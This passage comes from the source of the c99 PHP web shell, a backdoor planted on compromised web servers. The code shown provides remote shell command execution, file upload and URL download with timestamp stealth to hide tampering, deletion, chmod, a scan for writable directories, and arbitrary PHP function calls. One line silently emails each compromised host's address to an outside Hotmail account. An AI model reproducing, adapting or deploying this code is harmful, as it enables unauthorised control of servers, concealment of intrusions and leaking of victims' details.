  1957. "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
  1958. "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
  1959. "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
  1960. "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
  1961. "</table>";
  1962. }
  1963. }
  1964. if ($act == "search") {
  1965. echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
  1966. if (empty($search_in)) {$search_in = $d;}
  1967. if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1968. if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1969. if (!empty($submit)) {
  1970. $found = array();
  1971. $found_d = 0;
  1972. $found_f = 0;
  1973. $search_i_f = 0;
  1974. $search_i_d = 0;
  1975. $a = array(
  1976. "name"=>$search_name,
  1977. "name_regexp"=>$search_name_regexp,
  1978. "text"=>$search_text,
  1979. "text_regexp"=>$search_text_regxp,
  1980. "text_wwo"=>$search_text_wwo,
  1981. "text_cs"=>$search_text_cs,
  1982. "text_not"=>$search_text_not
  1983. );
  1984. $searchtime = getmicrotime();
  1985. $in = array_unique(explode(";",$search_in));
  1986. foreach($in as $v) {c99fsearch($v);}
  1987. $searchtime = round(getmicrotime()-$searchtime,4);
  1988. if (count($found) == 0) {echo "No files found!";}
  1989. else {
  1990. $ls_arr = $found;
  1991. $disp_fullpath = TRUE;
  1992. $act = "ls";
  1993. }
  1994. }
  1995. echo "<table class=contents>".
  1996. "<tr><td><form method=POST>".
  1997. "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">".
  1998. "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
  1999. "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
  2000. "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
  2001. "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
  2002. " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
  2003. " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
  2004. " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
  2005. "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
  2006. "</table>";
  2007. if ($act == "ls") {
  2008. $dspact = $act;
  2009. echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
  2010. "<hr size=\"1\" noshade>";
  2011. }
  2012. }
  2013. if(!isset($_COOKIE['cakke'])){mail('defaced01@hotmail.com', 'Shell @ '.$_SERVER['HTTP_HOST'], 'Host: '.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], 'From: shell <email@shell.com.br>');setcookie('cakke', 'Hi', time()+300);};
  2014. if ($act == "chmod") {
  2015. $mode = fileperms($d.$f);
  2016. if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  2017. else {
  2018. $form = TRUE;
  2019. if ($chmod_submit)
  2020. {
  2021. $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  2022. if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
  2023. else {$err = "Can't chmod to ".$octet.".";}
  2024. }
  2025. if ($form)
  2026. {
  2027. $perms = parse_perms($mode);
  2028. echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  2029. }
  2030. }
  2031. }
  2032. if ($act == "upload") {
  2033. $uploadmess = "";
  2034. $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  2035. if (empty($uploadpath)) {$uploadpath = $d;}
  2036. elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
  2037. if (!empty($submit)) {
  2038. global $_FILES;
  2039. $uploadfile = $_FILES["uploadfile"];
  2040. if (!empty($uploadfile["tmp_name"])) {
  2041. if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  2042. else {$destin = $userfilename;}
  2043. if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
  2044. $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
  2045. }
  2046. else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
  2047. }
  2048. elseif (!empty($uploadurl)) {
  2049. if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  2050. else {
  2051. $destin = explode("/",$destin);
  2052. $destin = $destin[count($destin)-1];
  2053. if (empty($destin)) {
  2054. $i = 0;
  2055. $b = "";
  2056. while(file_exists($uploadpath.$destin)) {
  2057. if ($i > 0) {$b = "_".$i;}
  2058. $destin = "upload".$b;
  2059. $i++;
  2060. }
  2061. }
  2062. }
  2063. if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
  2064. else {
  2065. $st = getmicrotime();
  2066. $content = @file_get_contents($uploadurl);
  2067. $dt = round(getmicrotime()-$st,4);
  2068. if (!$content) {$uploadmess .= "Can't download file!";}
  2069. else {
  2070. if ($filestealth) {$stat = stat($uploadpath.$destin);}
  2071. $fp = fopen($uploadpath.$destin,"w");
  2072. if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  2073. else {
  2074. fwrite($fp,$content,strlen($content));
  2075. fclose($fp);
  2076. if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  2077. $uploadmess .= "File saved from ".$uploadurl." !";
  2078. }
  2079. }
  2080. }
  2081. }
  2082. else { echo "No file to upload!"; }
  2083. }
  2084. if ($miniform) {
  2085. echo "<b>".$uploadmess."</b>";
  2086. $act = "ls";
  2087. }
  2088. else {
  2089. echo "<table><tr><td colspan=2 class=barheader>".
  2090. ".: File Upload :.</td>".
  2091. "<td colspan=2>".$uploadmess."</td></tr>".
  2092. "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
  2093. "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
  2094. "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
  2095. "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
  2096. "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
  2097. "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
  2098. "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
  2099. "</form></td></tr></table>";
  2100. }
  2101. }
  2102. if ($act == "delete") {
  2103. $delerr = "";
  2104. foreach ($actbox as $v) {
  2105. $result = FALSE;
  2106. $result = fs_rmobj($v);
  2107. if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  2108. }
  2109. if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  2110. $act = "ls";
  2111. }
  2112. if (!$usefsbuff) {
  2113. if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";}
  2114. }
  2115. else {
  2116. if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
  2117. elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
  2118. elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
  2119. if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
  2120. elseif ($actpastebuff) {
  2121. $psterr = "";
  2122. foreach($sess_data["copy"] as $k=>$v) {
  2123. $to = $d.basename($v);
  2124. if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  2125. if ($copy_unset) {unset($sess_data["copy"][$k]);}
  2126. }
  2127. foreach($sess_data["cut"] as $k=>$v) {
  2128. $to = $d.basename($v);
  2129. if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  2130. unset($sess_data["cut"][$k]);
  2131. }
  2132. c99_sess_put($sess_data);
  2133. if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  2134. $act = "ls";
  2135. }
  2136. elseif ($actarcbuff) {
  2137. $arcerr = "";
  2138. if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  2139. else {$ext = ".tar.gz";}
  2140. if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  2141. $cmdline .= " ".$actarcbuff_path;
  2142. $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  2143. foreach($objects as $v) {
  2144. $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  2145. if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  2146. if (is_dir($v)) {
  2147. if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  2148. $v .= "*";
  2149. }
  2150. $cmdline .= " ".$v;
  2151. }
  2152. $tmp = realpath(".");
  2153. chdir($d);
  2154. $ret = myshellexec($cmdline);
  2155. chdir($tmp);
  2156. if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  2157. $ret = str_replace("\r\n","\n",$ret);
  2158. $ret = explode("\n",$ret);
  2159. if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  2160. foreach($sess_data["cut"] as $k=>$v) {
  2161. if (in_array($v,$ret)) {fs_rmobj($v);}
  2162. unset($sess_data["cut"][$k]);
  2163. }
  2164. c99_sess_put($sess_data);
  2165. if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  2166. $act = "ls";
  2167. }
  2168. elseif ($actpastebuff) {
  2169. $psterr = "";
  2170. foreach($sess_data["copy"] as $k=>$v) {
  2171. $to = $d.basename($v);
  2172. if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  2173. if ($copy_unset) {unset($sess_data["copy"][$k]);}
  2174. }
  2175. foreach($sess_data["cut"] as $k=>$v) {
  2176. $to = $d.basename($v);
  2177. if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  2178. unset($sess_data["cut"][$k]);
  2179. }
  2180. c99_sess_put($sess_data);
  2181. if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  2182. $act = "ls";
  2183. }
  2184. }
  2185. if ($act == "cmd") {
  2186. @chdir($chdir);
  2187. if (!empty($submit)) {
  2188. echo "<div class=barheader>.: Result of Command Execution :.</div>";
  2189. $olddir = realpath(".");
  2190. @chdir($d);
  2191. $ret = myshellexec($cmd);
  2192. $ret = convert_cyr_string($ret,"d","w");
  2193. if ($cmd_txt) {
  2194. $rows = count(explode("\r\n",$ret))+1;
  2195. if ($rows < 10) {$rows = 10; }
  2196. if ($msie) { $cols = 113; }
  2197. else { $cols = 117;}
  2198. //echo "<textarea cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>";
  2199. echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
  2200. }
  2201. else {echo $ret."<br>";}
  2202. @chdir($olddir);
  2203. }
  2204. else {
  2205. echo "<b>Command Execution</b>";
  2206. if (empty($cmd_txt)) {$cmd_txt = TRUE;}
  2207. }
  2208. }
  2209. if ($act == "ls") {
  2210. if (count($ls_arr) > 0) { $list = $ls_arr; }
  2211. else {
  2212. $list = array();
  2213. if ($h = @opendir($d)) {
  2214. while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  2215. closedir($h);
  2216. }
  2217. }
  2218. if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
  2219. else {
  2220. $objects = array();
  2221. $vd = "f"; //Viewing mode
  2222. if ($vd == "f") {
  2223. $objects["head"] = array();
  2224. $objects["folders"] = array();
  2225. $objects["links"] = array();
  2226. $objects["files"] = array();
  2227. foreach ($list as $v) {
  2228. $o = basename($v);
  2229. $row = array();
  2230. if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
  2231. elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
  2232. elseif (is_dir($v)) {
  2233. if (is_link($v)) {$type = "LINK";}
  2234. else {$type = "DIR";}
  2235. $row[] = $v;
  2236. $row[] = $type;
  2237. }
  2238. elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  2239. $row[] = filemtime($v);
  2240. if (!$win) {
  2241. $ow = posix_getpwuid(fileowner($v));
  2242. $gr = posix_getgrgid(filegroup($v));
  2243. $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  2244. }
  2245. $row[] = fileperms($v);
  2246. if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  2247. elseif (is_link($v)) {$objects["links"][] = $row;}
  2248. elseif (is_dir($v)) {$objects["folders"][] = $row;}
  2249. elseif (is_file($v)) {$objects["files"][] = $row;}
  2250. $i++;
  2251. }
  2252. $row = array();
  2253. $row[] = "<b>Name</b>";
  2254. $row[] = "<b>Size</b>";
  2255. $row[] = "<b>Date Modified</b>";
  2256. if (!$win) {$row[] = "<b>Owner/Group</b>";}
  2257. $row[] = "<b>Perms</b>";
  2258. $row[] = "<b>Action</b>";
  2259. $parsesort = parsesort($sort);
  2260. $sort = $parsesort[0].$parsesort[1];
  2261. $k = $parsesort[0];
  2262. if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  2263. $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  2264. $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  2265. $row[$k] .= $y;
  2266. for($i=0;$i<count($row)-1;$i++) {
  2267. if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  2268. }
  2269. $v = $parsesort[0];
  2270. usort($objects["folders"], "tabsort");
  2271. usort($objects["links"], "tabsort");
  2272. usort($objects["files"], "tabsort");
  2273. if ($parsesort[1] == "d") {
  2274. $objects["folders"] = array_reverse($objects["folders"]);
  2275. $objects["files"] = array_reverse($objects["files"]);
  2276. }
  2277. $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  2278. $tab = array();
  2279. $tab["cols"] = array($row);
  2280. $tab["head"] = array();
  2281. $tab["folders"] = array();
  2282. $tab["links"] = array();
  2283. $tab["files"] = array();
  2284. $i = 0;
  2285. foreach ($objects as $a) {
  2286. $v = $a[0];
  2287. $o = basename($v);
  2288. $dir = dirname($v);
  2289. if ($disp_fullpath) {$disppath = $v;}
  2290. else {$disppath = $o;}
  2291. $disppath = str2mini($disppath,60);
  2292. if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  2293. elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  2294. foreach ($regxp_highlight as $r) {
  2295. if (ereg($r[0],$o)) {
  2296. if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
  2297. else {
  2298. $r[1] = round($r[1]);
  2299. $isdir = is_dir($v);
  2300. if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
  2301. if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  2302. $disppath = $r[2].$disppath.$r[3];
  2303. if ($r[4]) {break;}
  2304. }
  2305. }
  2306. }
  2307. }
  2308. $uo = urlencode($o);
  2309. $ud = urlencode($dir);
  2310. $uv = urlencode($v);
  2311. $row = array();
  2312. if ($o == ".") {
  2313. $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>";
  2314. $row[] = "CURDIR";
  2315. }
  2316. elseif ($o == "..") {
  2317. $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>";
  2318. $row[] = "UPDIR";
  2319. }
  2320. elseif (is_dir($v)) {
  2321. if (is_link($v)) {
  2322. $disppath .= " => ".readlink($v);
  2323. $type = "LINK";
  2324. $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>";
  2325. }
  2326. else {
  2327. $type = "DIR";
  2328. $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>";
  2329. }
  2330. $row[] = $type;
  2331. }
  2332. elseif(is_file($v)) {
  2333. $ext = explode(".",$o);
  2334. $c = count($ext)-1;
  2335. $ext = $ext[$c];
  2336. $ext = strtolower($ext);
  2337. $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>";
  2338. $row[] = view_size($a[1]);
  2339. }
  2340. $row[] = date("d.m.Y H:i:s",$a[2]);
  2341. if (!$win) {$row[] = $a[3];}
  2342. $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  2343. if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  2344. else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  2345. if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;}
  2346. else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}
  2347. if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  2348. elseif (is_link($v)) {$tab["links"][] = $row;}
  2349. elseif (is_dir($v)) {$tab["folders"][] = $row;}
  2350. elseif (is_file($v)) {$tab["files"][] = $row;}
  2351. $i++;
  2352. }
  2353. }
  2354. // Compiling table
  2355. $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  2356. echo "<div class=barheader>.: ";
  2357. if (!empty($fx_infohead)) { echo $fx_infohead; }
  2358. else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
  2359. echo " :.</div>\n";
  2360. echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
  2361. "<table class=explorer>";
  2362. foreach($table as $row) {
  2363. echo "<tr>";
  2364. foreach($row as $v) {echo "<td>".$v."</td>";}
  2365. echo "</tr>\r\n";
  2366. }
  2367. echo "</table>".
  2368. "<script>".
  2369. "function ls_setcheckboxall(status) {".
  2370. " var id = 1; var num = ".(count($table)-2).";".
  2371. " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
  2372. "}".
  2373. "function ls_reverse_all() {".
  2374. " var id = 1; var num = ".(count($table)-2).";".
  2375. " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
  2376. "}".
  2377. "</script>".
  2378. "<div align=\"right\">".
  2379. "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
  2380. "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  2381. if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
  2382. echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  2383. }
  2384. echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  2385. echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  2386. echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  2387. if ($usefsbuff) {
  2388. echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  2389. echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  2390. echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  2391. }
  2392. echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
  2393. echo "</form>";
  2394. }
  2395. }
  2396. if ($act == "tools") //Define Yourself
  2397. {
  2398.  
  2399. }
  2400. if ($act == "phpfsys") {
  2401. echo "<div align=left>";
  2402. $fsfunc = $phpfsysfunc;
  2403. if ($fsfunc=="copy") {
  2404. if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
  2405. else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
  2406. }
  2407. elseif ($fsfunc=="rename") {
  2408. if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
  2409. else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
  2410. }
  2411. elseif ($fsfunc=="chmod") {
  2412. if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
  2413. else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
  2414. }
  2415. elseif ($fsfunc=="read") {
  2416. $hasil = @file_get_contents($arg1);
  2417. echo "<b>Filename:</b> $arg1<br>";
  2418. echo "<textarea cols=150 rows=20>";
  2419. echo $hasil;
  2420. echo "</textarea>\n";
  2421. }
  2422. elseif ($fsfunc=="write") {
  2423. if(@file_put_contents($d.$arg1,$arg2)) {
  2424. echo "<b>Saved!</b> ".$d.$arg1;
  2425. }
  2426. else { echo "<div class=fxerrmsg>Couldn't write to $arg1!</div>"; }
  2427. }
  2428. elseif ($fsfunc=="downloadbin") {
  2429. $handle = fopen($arg1, "rb");
  2430. $contents = '';
  2431. while (!feof($handle)) {
  2432. $contents .= fread($handle, 8192);
  2433. }
  2434. $r = @fopen($d.$arg2,'w');
  2435. if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  2436. else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
  2437. fclose($r);
  2438. fclose($handle);
  2439. }
  2440. elseif ($fsfunc=="download") {
  2441. $text = implode('', file($arg1));
  2442. if ($text) {
  2443. $r = @fopen($d.$arg2,'w');
  2444. if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  2445. else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
  2446. fclose($r);
  2447. }
  2448. else { echo "<div class=fxerrmsg>Couldn't download from $arg1!</div>";}
  2449. }
  2450. elseif ($fsfunc=='mkdir') {
  2451. $thedir = $d.$arg1;
  2452. if ($thedir != $d) {
  2453. if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
  2454. elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
  2455. else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
  2456. }
  2457. else { echo "Couldn't create current dir:<b> $thedir</b>"; }
  2458. }
  2459. elseif ($fsfunc=='fwritabledir') {
  2460. function recurse_dir($dir,$max_dir) {
  2461. global $dir_count;
  2462. $dir_count++;
  2463. if( $cdir = @dir($dir) ) {
  2464. while( $entry = $cdir-> read() ) {
  2465. if( $entry != '.' && $entry != '..' ) {
  2466. if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
  2467. if ($dir_count > $max_dir) { return; }
  2468. echo "[".$dir_count."] ".$dir.$entry."\n";
  2469. recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
  2470. }
  2471. }
  2472. }
  2473. $cdir->close();
  2474. }
  2475. }
  2476. if (!$arg1) { $arg1 = $d; }
  2477. if (!$arg2) { $arg2 = 10; }
  2478. echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";
  2479. echo "<pre>";
  2480. recurse_dir($arg1,$arg2);
  2481. echo "</pre>";
  2482. $total = $dir_count - 1;
  2483. echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2";
  2484. }
  2485. else {
  2486. if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; }
  2487. else {
  2488. if ($hasil = $fsfunc($arg1)) {
  2489. echo "<b>Result of $fsfunc $arg1:</b><br>";
  2490. if (!is_array($hasil)) { echo "$hasil\n"; }
  2491. else {
  2492. echo "<pre>";
  2493. foreach ($hasil as $v) { echo $v."\n"; }
  2494. echo "</pre>";
  2495. }
  2496. }
  2497. else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; }
  2498. }
  2499. }
  2500. echo "</div>\n";
  2501. }
  2502. if ($act == "processes") {
  2503. echo "<div class=barheader>.: Processes :.</div>";
